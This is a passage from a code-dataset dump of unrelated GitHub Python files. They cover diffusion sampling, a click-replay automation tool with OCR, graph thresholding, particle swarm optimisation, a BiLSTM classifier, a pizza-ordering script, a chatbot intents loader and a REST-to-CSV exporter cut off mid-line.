x_t)\n # below: only log_variance is used in the KL computations\n model_log_var = {\n # for fixedlarge, we set the initial (log-)variance like so to\n # get a better decoder log likelihood\n 'fixedlarge': torch.log(torch.cat([self.posterior_var[1:2],\n self.betas[1:]])),\n 'fixedsmall': self.posterior_log_var_clipped,\n }[self.var_type]\n\n model_log_var = self.extract(model_log_var, t, x_t.shape)\n\n # Mean parameterization\n eps_cond = self.model(x_t, t, cemb)\n nu_emb = torch.zeros(cemb.shape, device = eps_cond.device)\n eps_uncond = self.model(x_t, t, nu_emb)\n eps = (1+self.w)*eps_cond - self.w*eps_uncond\n\n x_0 = self.predict_x0_from_eps(x_t, t, eps=eps)\n mean, log_var = self.q_mean_variance(x_0, x_t, t)\n \n # x_0 = torch.clip(x_0, -1., 1.)\n # no noise when t == 0\n time_step = t[0]\n if time_step > 0:\n noise = torch.randn_like(x_t) # for a batch of images\n else:\n noise = 0\n\n x_prev = mean + torch.exp(0.5 * log_var) * noise\n return x_prev\n \n def forward(self, x_T, cemb):\n \"\"\"\n Algorithm 2.\n \"\"\"\n x_t = x_T\n for time_step in reversed(range(self.T)):\n t = x_t.new_ones([x_T.shape[0], ], dtype=torch.long) * time_step \n x_t = self.p_sample(x_t, t, cemb)\n x_0 = x_t\n return torch.clip(x_0, -1, 1)\n \nclass DDIM_Sampler(Diffusion):\n def __init__(self, model, config):\n \n super().__init__(config)\n\n self.model = model\n self.w = config.evaluate.w\n\n self.register_buffer('ddim_sigma', self.ddim_sigma_)\n\n self.register_buffer('ddim_steps', self.ddim_steps_)\n\n # calculations for diffusion q(x_t | x_{t-1}) and others\n self.register_buffer(\n 'ddim_sqrt_recip_alphas_bar', self.ddim_sqrt_recip_alphas_bar_)\n self.register_buffer(\n 'ddim_sqrt_recipm1_alphas_bar', self.ddim_sqrt_recipm1_alphas_bar_)\n \n self.register_buffer(\n 'posterior_mean_coef1',\n torch.sqrt(self.ddim_alpha_prev_))\n self.register_buffer(\n 'posterior_mean_coef2',\n torch.sqrt(1-self.ddim_alpha_prev_-self.ddim_sigma_**2))\n\n def predict_x0_from_eps(self, x_t, idx, eps):\n assert x_t.shape == eps.shape\n return (\n self.extract(self.ddim_sqrt_recip_alphas_bar, idx, x_t.shape) * x_t -\n self.extract(self.ddim_sqrt_recipm1_alphas_bar, idx, x_t.shape) * eps\n )\n\n def q_mean_variance(self, x_0, x_t, idx, eps):\n \"\"\"\n Compute the mean and variance of the diffusion posterior\n q(x_{t-1} | x_t, x_0)\n \"\"\"\n assert x_0.shape == x_t.shape\n posterior_mean = (\n self.extract(self.posterior_mean_coef1, idx, x_t.shape) * x_0 +\n self.extract(self.posterior_mean_coef2, idx, x_t.shape) * eps\n )\n # return sigma here not variance\n posterior_sigma = self.extract(self.ddim_sigma, idx, x_t.shape)\n return posterior_mean, posterior_sigma\n \n def p_sample(self, x_t, t, idx, cemb):\n\n eps_cond = self.model(x_t, t, cemb)\n nu_emb = torch.zeros(cemb.shape, device = eps_cond.device)\n eps_uncond = self.model(x_t, t, nu_emb)\n eps = (1+self.w)*eps_cond - self.w*eps_uncond\n\n x_0 = self.predict_x0_from_eps(x_t, idx, eps)\n\n mean, sigma = self.q_mean_variance(x_0, x_t, idx, eps)\n \n x_prev = mean + sigma * eps\n \n return x_prev\n\n def forward(self, x_T, cemb):\n \n x_t = x_T\n for idx, time_step in enumerate(reversed(self.ddim_steps)):\n t = x_t.new_ones([x_T.shape[0], ], dtype=torch.long) * time_step \n idx = x_t.new_ones([x_T.shape[0], ], dtype=torch.long) * (len(self.ddim_steps) - idx - 1)\n x_t = self.p_sample(x_t, t, idx, cemb)\n x_0 = x_t\n return torch.clip(x_0, -1, 1)\n\n \n\n\n \n\n ","repo_name":"SoloChe/cls-free-diff","sub_path":"diffusion.py","file_name":"diffusion.py","file_ext":"py","file_size_in_byte":7571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"19478884077","text":"# D. Заботливая мама\n# ID успешной посылки 65663041\n\nclass Node: \n def __init__(self, value, next_item=None):\n self.value = value\n self.next_item = next_item\n\n\ndef solution(node, elem):\n count = 0\n while node.value != elem:\n if node.value != elem and node.next_item is None:\n count = -1\n break\n else:\n count = count + 1\n node = node.next_item\n return count\n\n\ndef test():\n node3 = Node(\"node3\", None)\n node2 = Node(\"node2\", node3)\n node1 = Node(\"node1\", node2)\n node0 = Node(\"node0\", node1)\n solution(node0, \"node4\")\n # result is idx == 2\n\n\nif __name__ == '__main__':\n test()\n","repo_name":"master-cim/algorithm","sub_path":"tasks_sprints_12/d_caring_mother.py","file_name":"d_caring_mother.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"31141042741","text":"import tkinter as tk\nimport configparser\nimport os\nfrom pynput.keyboard import Key, Listener\nimport pyautogui\nimport time\nimport pytesseract\nfrom PIL import Image,ImageOps,ImageGrab\nimport cv2\nimport numpy as np\n\n\n\n################################################################\n# #\n# Script #\n# #\n################################################################\n\ncounter = 1\n\ndef create_ini_file():\n config_name = config_name_entry.get()\n if config_name:\n config = configparser.ConfigParser()\n with open('./configurations/deplacement/'+config_name + '.ini', 'w') as configfile:\n config.write(configfile)\n log_status(f\"Le fichier {config_name}.ini a été créé.\")\n update_file_list()\n else:\n log_status(\"Veuillez entrer un nom de configuration valide.\")\n\ndef update_file_list():\n # Clear the listbox\n file_listbox.delete(0, tk.END)\n # Get a list of all .ini files in the current directory\n ini_files = [f for f in os.listdir('./configurations/deplacement') if f.endswith('.ini')]\n # Add each file to the listbox\n for f in ini_files:\n file_listbox.insert(tk.END, f)\n\ndef select_ini_file(event):\n # Get the name of the selected file\n selection = file_listbox.get(file_listbox.curselection())\n # Set the config name entry to the selected file's name\n config_name_entry.delete(0, tk.END)\n # Display a message indicating which configuration is being used\n log_status(f\"Vous utilisez la configuration : {selection}\")\n\ndef delete_ini_file():\n selection = file_listbox.get(file_listbox.curselection())\n os.remove('./configurations/deplacement/'+selection)\n update_file_list()\n log_status(f\"Le fichier {selection} a été supprimé.\")\n \ndef update_selected_file():\n global counter\n # Check if an item in the listbox is selected\n if file_listbox.curselection():\n # Get the current position of the mouse\n x, y = pyautogui.position()\n # Get the name of the selected file\n selection = file_listbox.get(file_listbox.curselection())\n # Update the selected file with the mouse position\n config = configparser.ConfigParser()\n config.read('./configurations/deplacement/'+selection)\n config[f\"{counter}\"] = {'x': f\"{x}\", 'y': f\"{y}\"}\n with open('./configurations/deplacement/'+selection, 'w') as configfile:\n config.write(configfile)\n # Display a message indicating that the file has been updated\n log_status(f\"Le fichier {selection} a été mis à jour avec la position du curseur.\")\n # Increment the counter\n \n counter += 1\n else:\n # Display a message indicating that no file has been selected\n log_status(f\"Veuillez sélectionner un fichier dans la liste.\")\n \ndef process_selected_file():\n if file_listbox.curselection():\n # Get the name of the selected file\n selection = file_listbox.get(file_listbox.curselection())\n # Read the selected file\n config = configparser.ConfigParser()\n config.read('././configurations/deplacement/'+selection)\n # Get the initial coordinates\n current_coordinate = extract_coordinates()\n # Move the mouse to each position specified in the file\n for section in config.sections():\n x = int(config[section]['x'])\n y = int(config[section]['y'])\n # Move the mouse to the position\n pyautogui.moveTo(x, y)\n # Perform a left click\n pyautogui.click(button='left')\n # Wait for a short time to allow the click to complete\n time.sleep(0.1)\n log_status(f\"Moved mouse to ({x}, {y})\")\n # Continuously check the coordinates until they change\n while current_coordinate == extract_coordinates():\n time.sleep(0.001)\n # Update the current coordinates\n current_coordinate = extract_coordinates()\n # Display a message indicating that the file has been processed\n log_status(f\"Le fichier {selection} a été traité.\")\n else:\n # Display a message indicating that no file has been selected\n log_status(\"Veuillez sélectionner un fichier dans la liste.\")\n \n\n\ndef extract_coordinates():\n \n\n # Take a screenshot of the top left of the screen\n start_time_extract_coordinates = time.time()\n screenshot = ImageGrab.grab(bbox=(0, 0, 500, 300))\n rgb_image = screenshot.convert('RGB')\n rgb_image.save('my_image.jpg', format='JPEG')\n\n # Find white pixels and create a mask\n white_tolerance = 50 # adjust this as needed\n mask = Image.new('1', screenshot.size, 0)\n for x in range(screenshot.width):\n for y in range(screenshot.height):\n r, g, b = rgb_image.getpixel((x, y))\n if abs(r - 255) <= white_tolerance and abs(g - 255) <= white_tolerance and abs(b - 255) <= white_tolerance:\n mask.putpixel((x, y), 1)\n # convert the mask image to mode \"L\"\n mask = mask.convert(\"L\")\n # Apply the mask to the original image to keep only white pixels\n result = ImageOps.colorize(mask, (0, 0, 0), (255, 255, 255))\n\n # Save the result as a JPEG file\n result.save('my_image2.jpg', 'JPEG')\n\n # Use pytesseract to read text from the image\n string = pytesseract.image_to_string(result)\n \n # Find the start index of the coordinates string\n start_index = string.find(\"Coordonnées :\") + len(\"Coordonnées : \")\n\n # Find the end index of the coordinates string\n end_index = string.find(\"\\n\", start_index)\n\n # Extract the coordinates string\n coordinates_string = string[start_index:end_index]\n\n # Split the coordinates string into a list of two strings\n coordinates_list = coordinates_string.split(\", \")\n\n # Convert the coordinate strings to integers\n x_coord = int(coordinates_list[0])\n y_coord = int(coordinates_list[1])\n\n # print the time taken to execute the script\n end_time_extract_coordinates = time.time()\n log_status(f\"Execution time (extract_coordinates): {end_time_extract_coordinates - start_time_extract_coordinates:.2f} seconds\")\n\n\n # Delete the temporary files\n os.remove('my_image.jpg')\n os.remove('my_image2.jpg')\n print(x_coord, y_coord)\n # Return the coordinates as a tuple\n return [x_coord, y_coord]\n\n\ndef on_press(key):\n if key == Key.shift:\n update_selected_file()\n elif key == Key.ctrl_l:\n process_selected_file()\n \n \n \n\n################################################################\n# #\n# Interface #\n# #\n################################################################\n\n\n# Create the GUI\nroot = tk.Tk()\nroot.title(\"Création de fichier INI\")\nroot.geometry(\"600x500\")\n\n# Configuration name label and entry\nconfig_name_label = tk.Label(root, text=\"Nom de la configuration:\")\nconfig_name_label.pack()\nconfig_name_entry = tk.Entry(root)\nconfig_name_entry.pack()\n\n# Create file button\ncreate_button = tk.Button(root, text=\"Créer fichier\", command=create_ini_file)\ncreate_button.pack()\n\n# File listbox and delete button\nfile_frame = tk.Frame(root)\nfile_frame.pack(fill=tk.BOTH, expand=True)\n\nfile_listbox = tk.Listbox(file_frame)\nfile_listbox.pack(side=tk.LEFT, fill=tk.BOTH, expand=True)\nupdate_file_list()\nfile_listbox.bind(\"<>\", select_ini_file)\n\ndelete_button = tk.Button(file_frame, text=\"Supprimer fichier\", command=delete_ini_file)\ndelete_button.pack(side=tk.BOTTOM)\n\n# Status text box\nstatus_text = tk.Text(root, height=5)\nstatus_text.pack(fill=tk.BOTH, expand=True)\n\ndef log_status(message):\n # Insert the message at the end of the text box\n status_text.insert(tk.END, message + '\\n')\n # Scroll the text box to show the latest message\n status_text.see(tk.END)\n \n# Mouse listener\nlistener = Listener(on_press=on_press)\nlistener.start()\n\n\n# Run the GUI\nroot.mainloop()\n","repo_name":"Misa-10/Prytaek","sub_path":"modules/deplacement.py","file_name":"deplacement.py","file_ext":"py","file_size_in_byte":8258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"71096521547","text":"\n\ndef recurse(n, s):\n \"\"\"\n Funções recursiva exemplo.\n :param n:tamanho da recursividade.\n :param s:mostra o tamanho da recursividade ao final\n :return:valores pro recursividade,\n \"\"\"\n if n == 0:\n print(n, s)\n else:\n print(n, s)\n recurse(n-1, n+s)\n\n\nrecurse(n=3, s=0)\n\n\"\"\"1. O que aconteceria se você chamasse esta função desta forma: recurse(-1, 0)?\"\"\"\n# seria uma recursividade infinita.\n\n\"\"\"2. Escreva uma docstring que explique tudo o que alguém precisaria saber para usar esta\nfunção (e mais nada).\"\"\"\n","repo_name":"FelipeDreissig/PenseEmPy","sub_path":"Cap 5/Ex5.4.py","file_name":"Ex5.4.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"33715816678","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis module contains functions for thresholding matrices\nand outputting links/networks.\n\"\"\"\nimport numpy as np\nimport igraph\nimport dataio\n\n\ndef get_graph_from_bare_data(corr_mat_fname, blacklist_fname, density,\n include_mst=False, weighted=False):\n \"\"\"\n Extracts a graph from raw data.\n\n Parameters\n ----------\n corr_mat_fname : str\n path to the file containing the correlation matrix.\n blacklist_fname : str\n path to the bool blacklist\n density : float\n the network density to use\n include_mst : bool\n whether to include the maximum spanning tree\n weighted : bool\n whether to consider the network as weighted\n\n Returns\n -------\n net : igraph.Graph\n the network\n \"\"\"\n corr_mat = dataio.load_adj_matrix_from_mat(corr_mat_fname)\n ok_nodes = dataio.get_ok_nodes(blacklist_fname)\n net = make_net_from_unfiltered_data(\n corr_mat,\n ok_nodes,\n density,\n include_mst=include_mst,\n weighted=weighted)\n return net\n\n\ndef _get_filtered_triu_adj_mat_copy(matrix, ok_nodes):\n \"\"\"\n Takes only the nodes listed in ok_nodes into account.\n\n Parameters\n ----------\n matrix : np.array\n 2D matrix with bad nodes\n ok_nodes : numpy bool array\n\n Returns\n -------\n m : np.array\n a copy of the matrix where the bad nodes have been removed\n \"\"\"\n m = matrix.copy()\n m = m[ok_nodes, :]\n m = m[:, ok_nodes]\n return np.triu(m, 1)\n\n\ndef make_net_from_unfiltered_data(corr_mat, ok_nodes, density, include_mst=False,\n weighted=False):\n \"\"\"\n Constructs a net from unfiltered data.\n\n Parameters\n ----------\n corr_mat : np.array\n 2D numpy array with bad nodes.\n ok_nodes : np.array\n the bool blacklist (whitelist)\n density : float\n the network density to use\n include_mst : bool\n whether to include the maximum spanning tree\n weighted : bool\n whether to consider the network as weighted\n\n Returns\n -------\n net : igraph.Graph\n \"\"\"\n assert 0 <= density <= 1\n edgelist = sort_links_by_weight(corr_mat, ok_nodes, include_mst)\n\n nNodes = sum(ok_nodes)\n nLinksMax = (nNodes * (nNodes - 1)) / 2\n nLinks = int(nLinksMax * density)\n edgelist = edgelist[:nLinks]\n\n return make_net(edgelist, nNodes, weighted)\n\n\ndef get_treshold_value(corr_mat, ok_nodes, density, include_mst=False):\n \"\"\"\n Constructs a net from unfiltered data.\n\n Parameters\n ----------\n corr_mat : np.array\n 2D numpy array with bad nodes.\n ok_nodes : np.array\n the bool blacklist (whitelist)\n density : float\n the network density to use\n include_mst : bool\n whether to include the maximum spanning tree\n\n Returns\n -------\n threshold: float\n the weight corresponding to the last considered link\n (i.e. no threshold)\n \"\"\"\n assert 0 <= density <= 1\n edgelist = sort_links_by_weight(corr_mat, ok_nodes, include_mst)\n n_nodes = sum(ok_nodes)\n n_links_max = (n_nodes * (n_nodes - 1)) / 2\n n_links = int(n_links_max * density)\n return edgelist[n_links]['weight']\n\n\ndef make_net(edgelist, nNodes, weighted):\n '''\n Create the network given the edgelist and number of nodes\n\n Parameters\n ----------\n weighted : (boolean)\n Whether weights are to be considered or not\n '''\n graph = igraph.Graph(nNodes)\n\n graph.add_edges(zip(edgelist['node1'], edgelist['node2']))\n if weighted is True:\n # graph.es['weight'] = 1\n graph.es['weight'] = edgelist['weight']\n\n # for n1, n2, w in edgelist:\n # graph[n1, n2] = w\n return graph\n\n\ndef make_full_weighted_net_from_weight_mat(matrix, ok_nodes, return_weights=False):\n \"\"\"\n Takes in an adjacency/correlation matrix, and constructs an undirected\n weighted network\n \"\"\"\n nNodes = np.sum(ok_nodes)\n graph = igraph.Graph(nNodes)\n\n triu_indices = np.triu_indices_from(matrix, 1)\n edgelist = np.array(triu_indices).T\n graph.add_edges(edgelist)\n weights = matrix[triu_indices]\n graph.es[\"weight\"] = weights\n if return_weights:\n return graph, weights\n return graph\n\n\ndef sort_links_by_weight(corr_mat, ok_nodes, include_mst):\n \"\"\"\n Sort the links by their link-weight\n\n Parameters\n ----------\n corr_mat : np.array\n 2D numpy array with bad nodes.\n ok_nodes : np.array\n the bool blacklist (whitelist)\n include_mst : Bool\n If true add the maximum spanning tree to the begining of sorted list\n\n Returns\n -------\n edgelist : numpy structrued array (node1, node2, weight)\n array([(0, 1, 1.0), (0, 3, 0.5), (2, 3, 0.5), (0, 4, 0.7), (1, 4, 0.4)],\n dtype=[('node1', '1:\n return 0,\n return sum(ind),\n\ntoolbox = base.Toolbox()\ntoolbox.register(\"particle\", generate, size=10, pmin=-1, pmax=1, smin=-1, smax=1)\ntoolbox.register(\"population\", tools.initRepeat, list, toolbox.particle)\ntoolbox.register(\"update\", updateParticle, phi1=1.0, phi2=1.0)\ntoolbox.register(\"evaluate\", evalOneMax)\n\nfits= []\ndef main():\n pop = toolbox.population(n=20)\n GEN = 100\n best = None\n\n for g in range(GEN):\n for part in pop:\n part.fitness.values = toolbox.evaluate(part)\n if not part.best or part.best.fitness < part.fitness:\n part.best = creator.Particle(part)\n part.best.fitness.values = part.fitness.values\n if not best or best.fitness < part.fitness:\n best = creator.Particle(part)\n best.fitness.values = part.fitness.values\n for part in pop:\n toolbox.update(part, best)\n\n print(best,best.fitness.values) \n fits.append(best.fitness.values)\n return pop, best\n\nif __name__ == \"__main__\":\n main()\n plt.plot(fits)\n plt.show()\n","repo_name":"shohei/emt-3108","sub_path":"particle_swarm_optimization/pso_deap.py","file_name":"pso_deap.py","file_ext":"py","file_size_in_byte":2177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"18518005232","text":"import datetime\nfrom matplotlib import pyplot as plt\nimport tensorflow as tf\nfrom tensorflow import keras\nimport tensorflow_addons as tfa\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.preprocessing import LabelEncoder\nimport pandas as pd\nimport numpy as np\nfrom tensorflow import keras\nfrom keras.preprocessing.text import Tokenizer\n\nclass BiLSTMCRF(tf.keras.Model):\n def __init__(self, vocab_size, num_tags, embedding_dim, lstm_units):\n super(BiLSTMCRF, self).__init__()\n self.embedding = tf.keras.layers.Embedding(vocab_size, embedding_dim)\n self.bilstm = tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(lstm_units, return_sequences=True))\n self.dense = tf.keras.layers.Dense(num_tags)\n # self.crf = tfa.layers.CRF(num_tags)\n \n def call(self, inputs, training=None, mask=None):\n embeddings = self.embedding(inputs)\n lstm_outputs = self.bilstm(embeddings)\n outputs = self.dense(lstm_outputs)\n # outputs = self.crf(outputs)\n return outputs\n\ndf = pd.read_csv('./datasets/cleaned2.csv')\ntext_list = df['simple_sentence'].tolist()\ntokenizer = tf.keras.preprocessing.text.Tokenizer()\ntokenizer.fit_on_texts(text_list)\nvocab_size = len(tokenizer.word_index) + 1\nmax_length = max([len(s.split()) for s in text_list])\nword_index = tokenizer.word_index\n\nx_train, x_val, y_train, y_val = train_test_split(df['simple_sentence'], df['truth_value'], test_size=0.33, random_state=42)\n\n\ntrain_sequences = tokenizer.texts_to_sequences(x_train)\nval_sequences = tokenizer.texts_to_sequences(x_val)\ntrain_padded = tf.keras.preprocessing.sequence.pad_sequences(train_sequences, maxlen=max_length, padding='post', truncating='post')\nvalidation_padded = tf.keras.preprocessing.sequence.pad_sequences(val_sequences, maxlen=max_length, padding='post', truncating='post')\nlabel_tokenizer = tf.keras.preprocessing.text.Tokenizer()\nlabel_tokenizer.fit_on_texts(df['truth_value'].tolist())\n\ntraining_label_seq = np.array(label_tokenizer.texts_to_sequences(y_train))\nvalidation_label_seq = np.array(label_tokenizer.texts_to_sequences(y_val))\nembedding_dim = 100\nnum_tags = 2 + 1\nlstm_units = 4\nnum_epochs = 1\n\ndataset = tf.data.experimental.make_csv_dataset('./datasets/cleaned2.csv', batch_size=32, num_epochs=1, label_name='truth_value', ignore_errors=True)\n\n\n# log_dir = \"./logs/fit/\" + datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n# tensorboard_callback = tf.keras.callbacks.TensorBoard(log_dir=log_dir, histogram_freq=1)\nwith tf.device(\"/cpu:0\"):\n model = BiLSTMCRF(vocab_size, num_tags, embedding_dim, lstm_units)\n model.compile(optimizer='adam', loss = 'sparse_categorical_crossentropy', metrics= ['accuracy', 'loss'])\n history = model.fit(dataset, epochs=num_epochs, verbose=2)\n\ndef plot_graphs(history, string):\n plt.plot(history.history[string])\n plt.plot(history.history['val_'+string])\n plt.xlabel(\"Epochs\")\n plt.ylabel(string)\n plt.legend([string, 'val_'+string])\n plt.show()\n \nplot_graphs(history, \"accuracy\")\nplot_graphs(history, \"loss\")","repo_name":"Karun842002/fyp-data-scraper","sub_path":"tfmodel.py","file_name":"tfmodel.py","file_ext":"py","file_size_in_byte":3051,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"29171580760","text":"import os\nmenu2=True\npt=12000\npp=14000\npa=17000\nmenu1=True\ncont1=0\ncont2=0\ncont3=0\ndcto=0\ncance=0\nwhile menu1:\n print(\"****bienvenido a Pizzeria Douc****\")\n print(\"Elija una de las opciones disponibles: \")\n print(\"1-Pizza Tradicional\")\n print(\"2-Pizza Peperoni\")\n print(\"3-Pizza All Carnes\")\n print(\"4-Salir\")\n try:\n opcion=int(input(\"Que deseas pedir : \"))\n if(opcion >0 and opcion <5) :\n if opcion ==1:\n print(\"Usted ingreso opcion 1\")\n pedido=int(input(\"¿cuantas pizzas quieres?\"))\n print(f\"total a pagar:{pt*pedido}\\n\")\n print(\"Quieres ordenar algo mas? \")\n cont1=(pt*pedido)\n\n mp=int(input(\"1-Si 2-No :\"))\n if mp ==1:\n menu1=True\n if mp==2:\n menu1=False\n os.system(\"cls\")\n if opcion ==2:\n print(\"Usted ingreso opcion 2\")\n pedido=int(input(\"¿cuantas pizzas quieres?\"))\n print(f\"total a pagar:{pp*pedido}\") \n print(\"Quieres ordenar algo mas? \")\n cont2=(pp*pedido)\n mp=int(input(\"1-Si 2-No :\"))\n if mp ==1:\n menu1=True\n if mp==2:\n menu1=False\n os.system(\"cls\")\n if opcion ==3:\n print(\"Usted ingreso opcion 3\")\n pedido=int(input(\"¿cuantas pizzas quieres?\"))\n print(f\"total a pagar:{pa*pedido}\")\n print(\"Quieres ordenar algo mas? \")\n cont3=(pa*pedido)\n mp=int(input(\"1-Si 2-No :\" ))\n if mp ==1:\n menu1=True\n if mp==2:\n menu1=False\n os.system(\"cls\")\n if opcion ==4:\n print(\"hasta luego\")\n menu1=False\n for acumulador in range (pedido):\n acumulador=cont1+cont2+cont3\n print(\"Deseas seguir con la compra ? \")\n cancel1=int(input(\"1-Si 2-No : \"))\n if cancel1==2:\n menu1=True\n os.system(\"cls\")\n continue\n if cancel1==1:\n os.system(\"cls\")\n except:\n print(\"Ocurrio un error\")\nprint(f\"total a cancelar : {acumulador} \")\nwhile menu2:\n print(\"Selecciona tu jornada : \")\n print(\"1-Diurno\")\n print(\"2-Vespertino\")\n print(\"3-Administrativo\")\n try:\n dcto=int(input(\"tu jornada es : \"))\n if(opcion >0 and opcion <4) :\n if dcto ==1:\n print(\"Descuento para jornada diurna 12%\")\n menu2=False\n if dcto ==2:\n print(\"Descuento para jornada vespertina 10%\")\n menu2=False\n if dcto ==3:\n print(\"Administrativo no corresponde descuento\")\n menu2=False\n except:\n print(\"algo salio mal , vuelve a intentarlo\")\n\nos.system(\"cls\")\n\nprint(\"*************Pizzeria Duoc**************\")\nif cont1 > 0:\n print(f\"Pizza Tradicional: $ {cont1}\")\nif cont2 > 0:\n print(f\"Pizza Peperoni: $ {cont2}\")\nif cont3 > 0:\n print(f\"Pizza All Carnes: $ {cont3}\")\nprint(\"*****************************************\")\nprint(f\"Subtotal: $ {acumulador} \")\nif dcto==1:\n des=12\n print(\"Descuento: 12%\")\n d=acumulador*des//100\nif dcto==2:\n des=10\n print(\"Descuento: 10%\")\n d=acumulador*des//100\nif dcto==3:\n des=0\n print(\"Descuento: 0%\")\n d=acumulador*des//100\nprint(\"******************************************\")\nprint(f\"Total a pagar: $ {acumulador-d} \")\n\nprint(\"**********Gracias por su compra***********\")\n","repo_name":"ConstanzapGaete/PYTHON","sub_path":"pruebatipoB.py","file_name":"pruebatipoB.py","file_ext":"py","file_size_in_byte":3785,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"6624076079","text":"import os\nimport sys\nimport re\nfrom datetime import datetime,timedelta\nimport numpy as np\nfrom proc_satellite_class import Satellite_Process\n\nclass Interp(Satellite_Process):\n\n def __init__(self):\n super().__init__()\n self._freeze()\n\n def run(self):\n # Start process\n super().run()\n\n # Check files/folders\n start_dtim = datetime.strptime(self.start_date,self.date_fmt)\n end_dtim = datetime.strptime(self.end_date,self.date_fmt)\n first_dtim = datetime.strptime(self.first_date,self.date_fmt)\n last_dtim = datetime.strptime(self.last_date,self.date_fmt)\n trg_bnam = '{:%Y%m%d}_{:%Y%m%d}'.format(first_dtim,last_dtim)\n if not os.path.exists(self.s2_data):\n os.makedirs(self.s2_data)\n if not os.path.isdir(self.s2_data):\n raise ValueError('{}: error, no such folder >>> {}'.format(self.proc_name,self.s2_data))\n\n # Interpolate data\n ystr = '{:%Y}'.format(first_dtim)\n dnam = os.path.join(self.s2_data,'interp',ystr)\n if not os.path.exists(dnam):\n os.makedirs(dnam)\n if not os.path.isdir(dnam):\n raise IOError('Error, no such folder >>> {}'.format(dnam))\n command = self.python_path\n if self.values['atcor_flag']:\n command += ' \"{}\"'.format(os.path.join(self.scr_dir,'sentinel2_interp_atcor.py'))\n command += ' --inpdir \"{}\"'.format(os.path.join(self.s2_data,'atcor'))\n command += ' --nmax {}'.format(self.values['nmax'])\n command += ' --rthr {}'.format(self.values['rthr'])\n else:\n command += ' \"{}\"'.format(os.path.join(self.scr_dir,'sentinel2_interp.py'))\n command += ' --inpdir \"{}\"'.format(os.path.join(self.s2_data,'parcel'))\n command += ' --dstdir \"{}\"'.format(os.path.join(self.s2_data,'interp'))\n command += ' --tendir \"{}\"'.format(os.path.join(self.s2_data,'tentative_interp'))\n command += ' --data_tmin {:%Y%m%d}'.format(first_dtim)\n command += ' --data_tmax {:%Y%m%d}'.format(last_dtim)\n command += ' --tmgn {}'.format(self.values['tmgn'])\n command += ' --tstp 1'\n command += ' --smooth=\"{}\"'.format(self.values['p_smooth'])\n command += ' --ethr {}'.format(self.values['cflag_thr'])\n if self.values['csv_flag']:\n command += ' --out_csv'\n iflag = self.list_labels['oflag'].index('interp')\n if self.values['oflag'][iflag]:\n command += ' --overwrite'\n iflag = self.list_labels['oflag'].index('tentative interp')\n if self.values['oflag'][iflag]:\n command += ' --tentative_overwrite'\n if self.values['eflag']:\n command += ' --extrapolate'\n command += ' --fignam \"{}\"'.format(os.path.join(dnam,'{}_interp.pdf'.format(trg_bnam)))\n command += ' --nfig 10'\n command += ' --debug'\n command += ' --batch'\n self.run_command(command,message='<<< Interpolate data between {:%Y-%m-%d} - {:%Y-%m-%d} >>>'.format(first_dtim,last_dtim))\n\n # Finish process\n super().finish()\n return\n","repo_name":"nahiro/satellite_analysis","sub_path":"run_satellite_interp.py","file_name":"run_satellite_interp.py","file_ext":"py","file_size_in_byte":3125,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"82"}
+{"seq_id":"42907646202","text":"\"\"\"\nThis module is used for loading and preparing intents data\n\"\"\"\nimport json\n\nimport nltk\n\n\ndef load_intents(path: str):\n \"\"\"\n Loads a specified intents JSON file\n\n :param path: Path to the intents file\n :return: An Intents object\n \"\"\"\n try:\n with open(path) as file:\n intents = json.loads(file.read())\n\n words = []\n classes = []\n documents = []\n\n for intent in intents['intents']:\n for pattern in intent['patterns']:\n word_list = nltk.word_tokenize(pattern)\n words.extend(word_list)\n documents.append((word_list, intent['tag']))\n if intent['tag'] not in classes:\n classes.append(intent['tag'])\n\n return Intents(words, classes, documents)\n\n except FileNotFoundError:\n print(\"Intents file not found.\")\n return Intents([], [], [])\n \n \ndef load_entities(path):\n \"\"\"\n Load the entities and return an dict carrying all relevant info\n \"\"\"\n try:\n with open(path) as file:\n entities = json.loads(file.read())\n\n ents = {}\n\n for e in entities['entities']:\n ents[e['entity']] = {'opening hours':e['opening hours'],\n 'location':e['location'],\n 'contact':e['contact'],\n 'link':e['link']\n }\n return ents \n\n except FileNotFoundError:\n print(\"Entities file not found.\")\n return {}\n \n\n\nclass Intents:\n \"\"\"\n A class containing the words, classes and documents information\n loaded from an Intents JSON file.\n \"\"\"\n \n def __init__(self, words, classes, documents):\n self.words = words\n self.classes = classes\n self.documents = documents\n","repo_name":"team28COSC310/chat-bot-cosc-310","sub_path":"src/data_importer.py","file_name":"data_importer.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"}
+{"seq_id":"2717749628","text":"#!/usr/bin/python3\n\"\"\"Script using REST API for an employee ID\"\"\"\n\nimport requests\nimport sys\n\n\nif __name__ == '__main__':\n if len(sys.argv) != 2:\n print(\"Usage: {} \".format(sys.argv[0]))\n sys.exit(1)\n\n employee_id = sys.argv[1]\n base_url = \"https://jsonplaceholder.typicode.com/users\"\n url = base_url + \"/\" + employee_id\n\n response = requests.get(url)\n if response.status_code != 200:\n print(\"Employee not found.\")\n sys.exit(1)\n\n username = response.json().get('username')\n\n todo_url = url + \"/todos\"\n response = requests.get(todo_url)\n tasks = response.json()\n\n with open('{}.csv'.format(employee_id), 'w') as file:\n for task in tasks:\n file.write('\"{}\",\"{}\",\"{}\",\"{}\"\\n'\n .format(employee_id, username, task.get('completed'),\n 